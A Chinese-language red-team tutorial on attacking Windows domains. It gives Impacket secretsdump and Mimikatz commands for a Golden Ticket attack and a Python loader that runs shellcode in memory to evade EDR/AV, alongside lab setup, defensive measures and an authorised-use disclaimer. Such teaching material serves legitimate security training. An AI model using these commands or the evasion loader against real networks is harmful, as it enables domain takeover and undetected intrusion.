0x01 攻击入口:Windows域中的薄弱环节
在Windows域环境中,通常存在许多潜在的攻击点,这些攻击点往往是由于域架构的复杂性和管理员配置不当造成的。Windows域是一种集中式的管理系统,旨在管理网络资源和用户权限。它通过Active Directory(AD)来实现用户身份验证、资源授权以及策略执行。然而,正是这种高度集中的管理方式,给攻击者提供了丰富的攻击面。
漏洞成因分析

域控(Domain Controller)是Windows域的核心组件,负责处理所有的身份验证请求、用户权限以及策略应用。攻击者的目标往往是域控,因为一旦攻破域控,意味着对整个域的掌控。常见的漏洞包括:
- Kerberos身份验证中的票据伪造:Kerberos协议中,攻击者可以通过票据伪造获取域管理员权限。
- 无效的组策略配置:错误配置可能允许低权限用户执行高权限操作。
- SMB协议中的漏洞:利用SMB协议中的漏洞进行横向移动。
- LDAP注入:通过LDAP注入窃取敏感信息。
0x02 环境搭建:实验室的秘密
要进行Windows域渗透测试,我们需要一个完整的实验环境。这个环境需要包含至少一个域控和若干域成员。
实验环境说明
- 域控(DC):Windows Server 2019,配置域服务和DNS。
- 域成员:Windows 10,加入域。
- 网络配置:静态IP,所有设备在同一网段。
- 工具:Kali Linux作为攻击机。
安装完毕后,确保域控运行正常并能访问所有域成员设备。接下来是工具的准备,我们将在Kali Linux上使用以下工具:
- Impacket:用于协议利用和横向移动。
- Bloodhound:分析域内权限。
- Responder:捕获网络中的NTLM哈希。
0x03 实战演示:从票据伪造到控制域
这里我们将以Kerberos票据伪造攻击为例,展示如何从一个普通的域用户权限提升到域管理员权限。
票据伪造的步骤
票据伪造(Golden Ticket)是一种利用Kerberos协议漏洞的攻击方法,攻击者可以伪造合法的Kerberos票据,获取域管理员权限。
- 获取KRBTGT账户的Hash:首先,我们需要获取域控上KRBTGT账户的哈希。这个哈希是伪造票据的关键。
`bash secretsdump.py -dc-ip <domain-controller-ip> <domain>/<user>:<password> `

以上代码使用Impacket的secretsdump工具从域控中导出所有用户Hash。
- 生成Golden Ticket:一旦拥有KRBTGT账户的Hash,就可以使用Mimikatz生成一个Golden Ticket。
`bash mimikatz # kerberos::golden /user:administrator /domain:<domain> /sid:<sid> /krbtgt:<krbtgt_hash> /ptt `
这里,我们用Mimikatz伪造一个管理员的票据并传到本地会话。
- 利用票据进行域控访问:使用伪造的票据访问域控资源。
`bash dir \\<domain-controller>\c$ `
如果成功,你将能够访问域控的C盘,这说明票据伪造成功,权限已提升。
0x04 绕过技巧:规避检测与免杀
在进行域渗透时,必须考虑规避检测和免杀技术。现代域环境通常部署有EDR/AV等安全产品,攻击者需要采取措施绕过这些防御。
EDR/AV绕过方法

- 加壳与混淆:使用工具如Veil、Shellter对恶意代码进行加壳处理,混淆代码使其难以被检测。
- 内存加载技术:避免在磁盘上留下痕迹,直接在内存中加载和执行恶意代码。
`python import ctypes shellcode = b"\x90..." ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p ptr = ctypes.windll.kernel32.VirtualAlloc(None, len(shellcode), 0x3000, 0x40) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr), shellcode, len(shellcode)) ctypes.windll.kernel32.CreateThread(None, 0, ctypes.c_void_p(ptr), None, 0, None) `
以上代码展示了如何在内存中加载并执行shellcode。
- 流量伪装:使用SSL/TLS加密流量,避免被IDS/IPS检测。
0x05 检测与防御:蓝队的防线
作为防御者,了解攻击者的方法是防御的基础。对于域渗透攻击,可以采取以下措施进行防御:
防御策略
- 定期更换KRBTGT账户密码:防止票据伪造攻击。
- 加强组策略配置:确保策略配置不允许低权限用户执行高权限操作。
- 启用网络分段:限制横向移动。
- 启用监控和日志审计:使用SIEM系统监控异常活动。
0x06 红队经验:战场上的教训

经过多年的渗透测试实践,我总结了一些经验,希望能对未来的红队行动有所帮助:
- 信息收集是关键:充分的信息收集是成功渗透的基础。
- 保持隐蔽性:攻击者往往在第一次攻击时就会被检测到,学会隐藏自己。
- 工具熟练度:对工具的熟悉程度直接影响行动效率。
- 不断学习:安全领域总是在变化,保持学习才能保持优势。
以上内容仅限授权安全测试使用,旨在提高安全研究人员的技术能力。切勿在未经授权的情况下进行渗透测试。